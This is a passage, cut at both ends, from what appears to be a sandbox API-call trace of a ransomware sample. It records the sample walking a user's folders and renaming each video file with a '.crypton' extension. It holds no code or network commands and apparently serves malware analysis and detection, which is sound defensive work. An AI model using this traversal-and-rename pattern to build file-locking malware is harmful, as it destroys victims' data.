HALPmcxz\\Videos\\bAedBa3\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69416560, ftCreationTime.dwHighDateTime=0x1d4d0f7, ftLastAccessTime.dwLowDateTime=0xfff93e20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfff93e20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0219.151] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\bAedBa3\\6z6dYmfoL3qnaraa9p8S.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\baedba3\\6z6dymfol3qnaraa9p8s.swf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\bAedBa3\\6z6dYmfoL3qnaraa9p8S.swf.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\baedba3\\6z6dymfol3qnaraa9p8s.swf.crypton"), dwFlags=0x2) returned 1 [0219.157] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\bAedBa3\\Bu-GCxyi_G.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\baedba3\\bu-gcxyi_g.swf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\bAedBa3\\Bu-GCxyi_G.swf.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\baedba3\\bu-gcxyi_g.swf.crypton"), dwFlags=0x2) returned 1 [0219.218] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\bAedBa3\\Esmj.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\baedba3\\esmj.avi"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\bAedBa3\\Esmj.avi.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\baedba3\\esmj.avi.crypton"), dwFlags=0x2) returned 1 [0219.238] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\bAedBa3\\j rkUt.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\baedba3\\j rkut.flv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\bAedBa3\\j rkUt.flv.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\baedba3\\j rkut.flv.crypton"), dwFlags=0x2) returned 1 [0219.299] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\bAedBa3\\KQ-6NdHOkLcU.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\baedba3\\kq-6ndhoklcu.swf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\bAedBa3\\KQ-6NdHOkLcU.swf.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\baedba3\\kq-6ndhoklcu.swf.crypton"), dwFlags=0x2) returned 1 [0219.343] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\bAedBa3\\lIj2RfFkN2RG f_tp.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\baedba3\\lij2rffkn2rg f_tp.swf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\bAedBa3\\lIj2RfFkN2RG f_tp.swf.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\baedba3\\lij2rffkn2rg f_tp.swf.crypton"), dwFlags=0x2) returned 1 [0219.373] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\bAedBa3\\Q9y23IfXjR86Pph-E60.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\baedba3\\q9y23ifxjr86pph-e60.swf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\bAedBa3\\Q9y23IfXjR86Pph-E60.swf.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\baedba3\\q9y23ifxjr86pph-e60.swf.crypton"), dwFlags=0x2) returned 1 [0219.396] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\bAedBa3\\S6LVu.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\baedba3\\s6lvu.mkv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\bAedBa3\\S6LVu.mkv.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\baedba3\\s6lvu.mkv.crypton"), dwFlags=0x2) returned 1 [0219.411] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CVTWmyzGo.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\cvtwmyzgo.mp4"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CVTWmyzGo.mp4.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\cvtwmyzgo.mp4.crypton"), dwFlags=0x2) returned 1 [0219.437] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DuC2G8O58AX3S.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\duc2g8o58ax3s.mp4"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DuC2G8O58AX3S.mp4.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\duc2g8o58ax3s.mp4.crypton"), dwFlags=0x2) returned 1 [0219.441] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EUegD5CSbv9g\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc96876c0, ftCreationTime.dwHighDateTime=0x1d4cfaf, ftLastAccessTime.dwLowDateTime=0x28d9a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x28d9a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0219.445] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EUegD5CSbv9g\\2oad0Nrv\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaaa5b110, ftCreationTime.dwHighDateTime=0x1d4c863, ftLastAccessTime.dwLowDateTime=0x28d9a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x28d9a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0219.487] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EUegD5CSbv9g\\2oad0Nrv\\H 4LHW.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\euegd5csbv9g\\2oad0nrv\\h 4lhw.mp4"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EUegD5CSbv9g\\2oad0Nrv\\H 4LHW.mp4.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\euegd5csbv9g\\2oad0nrv\\h 4lhw.mp4.crypton"), dwFlags=0x2) returned 1 [0219.543] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EUegD5CSbv9g\\2oad0Nrv\\jEBkNiSs2Py.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\euegd5csbv9g\\2oad0nrv\\jebkniss2py.swf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EUegD5CSbv9g\\2oad0Nrv\\jEBkNiSs2Py.swf.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\euegd5csbv9g\\2oad0nrv\\jebkniss2py.swf.crypton"), dwFlags=0x2) returned 1 [0219.551] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EUegD5CSbv9g\\2oad0Nrv\\Kus-No6vK8u4-zVmM.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\euegd5csbv9g\\2oad0nrv\\kus-no6vk8u4-zvmm.avi"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EUegD5CSbv9g\\2oad0Nrv\\Kus-No6vK8u4-zVmM.avi.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\euegd5csbv9g\\2oad0nrv\\kus-no6vk8u4-zvmm.avi.crypton"), dwFlags=0x2) returned 1 [0219.575] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EUegD5CSbv9g\\2oad0Nrv\\qTgotE_2Fisj78ct.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\euegd5csbv9g\\2oad0nrv\\qtgote_2fisj78ct.swf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EUegD5CSbv9g\\2oad0Nrv\\qTgotE_2Fisj78ct.swf.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\euegd5csbv9g\\2oad0nrv\\qtgote_2fisj78ct.swf.crypton"), dwFlags=0x2) returned 1 [0219.699] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EUegD5CSbv9g\\2oad0Nrv\\xMy QqoUybN.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\euegd5csbv9g\\2oad0nrv\\xmy qqouybn.avi"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EUegD5CSbv9g\\2oad0Nrv\\xMy QqoUybN.avi.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\euegd5csbv9g\\2oad0nrv\\xmy qqouybn.avi.crypton"), dwFlags=0x2) returned 1 [0219.864] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EUegD5CSbv9g\\2oad0Nrv\\Y 9hfN.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\euegd5csbv9g\\2oad0nrv\\y 9hfn.avi"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EUegD5CSbv9g\\2oad0Nrv\\Y 9hfN.avi.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\euegd5csbv9g\\2oad0nrv\\y 9hfn.avi.crypton"), dwFlags=0x2) returned 1 [0219.920] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EUegD5CSbv9g\\3K24xIdp.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\euegd5csbv9g\\3k24xidp.flv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EUegD5CSbv9g\\3K24xIdp.flv.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\euegd5csbv9g\\3k24xidp.flv.crypton"), dwFlags=0x2) returned 1 [0219.965] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EUegD5CSbv9g\\GpMdZmaE8.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\euegd5csbv9g\\gpmdzmae8.mp4"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EUegD5CSbv9g\\GpMdZmaE8.mp4.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\euegd5csbv9g\\gpmdzmae8.mp4.crypton"), dwFlags=0x2) returned 1 [0219.978] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EUegD5CSbv9g\\qqqS2UStJ-8SFM-bcN.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\euegd5csbv9g\\qqqs2ustj-8sfm-bcn.mp4"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EUegD5CSbv9g\\qqqS2UStJ-8SFM-bcN.mp4.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\euegd5csbv9g\\qqqs2ustj-8sfm-bcn.mp4.crypton"), dwFlags=0x2) returned 1 [0219.983] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LT0WN\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2181b870, ftCreationTime.dwHighDateTime=0x1d4d39e, ftLastAccessTime.dwLowDateTime=0x79c860, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x79c860, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0220.016] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LT0WN\\9jscX6HtbIsyVFkXr.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lt0wn\\9jscx6htbisyvfkxr.mkv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LT0WN\\9jscX6HtbIsyVFkXr.mkv.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lt0wn\\9jscx6htbisyvfkxr.mkv.crypton"), dwFlags=0x2) returned 1 [0220.049] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LT0WN\\cTy6OYPKL.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lt0wn\\cty6oypkl.flv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LT0WN\\cTy6OYPKL.flv.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lt0wn\\cty6oypkl.flv.crypton"), dwFlags=0x2) returned 1 [0220.085] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LT0WN\\deJr6oFAn1BCR.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lt0wn\\dejr6ofan1bcr.swf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LT0WN\\deJr6oFAn1BCR.swf.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lt0wn\\dejr6ofan1bcr.swf.crypton"), dwFlags=0x2) returned 1 [0220.122] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LT0WN\\gVo wf0Jq6pFUil_KvDB.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lt0wn\\gvo wf0jq6pfuil_kvdb.mp4"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LT0WN\\gVo wf0Jq6pFUil_KvDB.mp4.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lt0wn\\gvo wf0jq6pfuil_kvdb.mp4.crypton"), dwFlags=0x2) returned 1 [0220.160] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LT0WN\\IjAGwqlXvlqOr.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lt0wn\\ijagwqlxvlqor.mkv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LT0WN\\IjAGwqlXvlqOr.mkv.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lt0wn\\ijagwqlxvlqor.mkv.crypton"), dwFlags=0x2) returned 1 [0220.167] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LT0WN\\kYnaobNh.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lt0wn\\kynaobnh.avi"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LT0WN\\kYnaobNh.avi.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lt0wn\\kynaobnh.avi.crypton"), dwFlags=0x2) returned 1 [0220.255] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LT0WN\\n8 5K_wP.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lt0wn\\n8 5k_wp.avi"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LT0WN\\n8 5K_wP.avi.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lt0wn\\n8 5k_wp.avi.crypton"), dwFlags=0x2) returned 1 [0220.280] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LT0WN\\O_3HLo29CJ.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lt0wn\\o_3hlo29cj.flv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LT0WN\\O_3HLo29CJ.flv.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lt0wn\\o_3hlo29cj.flv.crypton"), dwFlags=0x2) returned 1 [0220.296] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LT0WN\\pHqMELOxc_.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lt0wn\\phqmeloxc_.mkv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LT0WN\\pHqMELOxc_.mkv.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lt0wn\\phqmeloxc_.mkv.crypton"), dwFlags=0x2) returned 1 [0220.337] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LT0WN\\s5q3FHnMy29s2L-cC7.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lt0wn\\s5q3fhnmy29s2l-cc7.avi"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LT0WN\\s5q3FHnMy29s2L-cC7.avi.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lt0wn\\s5q3fhnmy29s2l-cc7.avi.crypton"), dwFlags=0x2) returned 1 [0220.382] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LT0WN\\tz1GZqiotlDd.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lt0wn\\tz1gzqiotldd.mkv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LT0WN\\tz1GZqiotlDd.mkv.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lt0wn\\tz1gzqiotldd.mkv.crypton"), dwFlags=0x2) returned 1 [0220.388] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LT0WN\\VQebLJvH lQeWFilhrr.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lt0wn\\vqebljvh lqewfilhrr.avi"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LT0WN\\VQebLJvH lQeWFilhrr.avi.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lt0wn\\vqebljvh lqewfilhrr.avi.crypton"), dwFlags=0x2) returned 1 [0220.406] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\N0JLCW1TaM 6.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\n0jlcw1tam 6.avi"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\N0JLCW1TaM 6.avi.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\n0jlcw1tam 6.avi.crypton"), dwFlags=0x2) returned 1 [0220.433] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QHhtac_Su0x.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qhhtac_su0x.swf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QHhtac_Su0x.swf.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qhhtac_su0x.swf.crypton"), dwFlags=0x2) returned 1 [0220.489] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\wH54eIB -.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\wh54eib -.mkv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\wH54eIB -.mkv.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\wh54eib -.mkv.crypton"), dwFlags=0x2) returned 1 [0220.495] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeaf0d7e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaf0d7e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0220.498] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Adobe\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xeaf0d7e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaf0d7e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0220.502] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Adobe\\Acrobat\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xeaf33940, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaf33940, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0220.507] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xeaf33940, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaf33940, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.510] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xeaf33940, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaf33940, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0220.515] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xeaf59aa0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaf59aa0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0220.518] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Adobe\\ARM\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xeaf59aa0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaf59aa0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0220.521] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xeaf59aa0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaf59aa0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.526] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Application Data\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xeaf59aa0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaf59aa0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2, dwReserved1=0x55ce18, cFileName="ARM", cAlternateFileName="")) returned 0xffffffff [0220.529] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Desktop\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xeaf59aa0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaf59aa0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2, dwReserved1=0x55ce18, cFileName="ARM", cAlternateFileName="")) returned 0xffffffff [0220.532] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Documents\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xeaf59aa0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaf59aa0, 